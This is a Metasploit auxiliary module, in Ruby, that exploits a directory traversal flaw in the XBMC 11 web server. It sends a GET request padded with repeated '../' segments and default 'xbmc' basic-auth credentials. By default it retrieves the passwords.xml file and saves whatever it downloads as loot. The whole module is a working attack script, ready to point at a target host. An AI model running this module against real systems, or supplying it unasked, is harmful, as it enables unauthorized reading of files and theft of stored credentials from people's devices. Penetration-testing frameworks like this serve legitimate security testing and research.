```
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => "XBMC Web Server Directory Traversal",
        'Description' => %q{
          This module exploits a directory traversal bug in XBMC 11, up until the
          2012-11-04 nightly build. The module can only be used to retrieve files.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'sinn3r', # Used sinn3r's yaws_traversal exploit as a skeleton
          'Lucas "acidgen" Lundgren IOActive',
          'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
        ],
        'References' => [
          ['CVE', '2012-10024'],
          ['URL', 'https://forum.kodi.tv/showthread.php?tid=144110&pid=1227348'],
          ['URL',
'https://github.com/xbmc/xbmc/commit/bdff099c024521941cb0956fe01d99ab52a65335'],
          ['URL', 'https://ioactive.com/pdfs/Security_Advisory_XBMC.pdf'],
        ],
        'DisclosureDate' => '2012-11-04',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('FILEPATH', [false, 'The name of the file to download',
'/private/var/mobile/Library/Preferences/XBMC/userdata/passwords.xml']),
        OptInt.new('DEPTH', [true, 'The max traversal depth', 9]),
        OptString.new('HttpUsername', [true, 'The username to use for the HTTP server',
'xbmc']),
        OptString.new('HttpPassword', [false, 'The password to use for the HTTP server',
'xbmc']),
      ]
    )
  end

  def run
    # No point to continue if no filename is specified
    if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
      print_error("Please supply the name of the file you want to download")
      return
    end

    # Create request
    traversal = "../" * datastore['DEPTH'] # The longest of all platforms tested was 9 deep
    begin
```

```
        res = send_request_raw({
          'method' => 'GET',
          'uri' => "/#{traversal}/#{datastore['FILEPATH']}",
          'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword'])
        }, 25)
      rescue Rex::ConnectionRefused
        print_error("#{rhost}:#{rport} Could not connect.")
        return
      end

      # Show data if needed
      if res
        if res.code == 200
          vprint_line(res.to_s)
          fname = File.basename(datastore['FILEPATH'])

          path = store_loot(
            'xbmc.http',
            'application/octet-stream',
            datastore['RHOST'],
            res.body,
            fname
          )
          print_good("File saved in: #{path}")
        elsif res.code == 401
          print_error("#{rhost}:#{rport} Authentication failed")
        elsif res.code == 404
          print_error("#{rhost}:#{rport} File not found")
        end
      else
        print_error("HTTP Response failed")
      end
    end
  end
```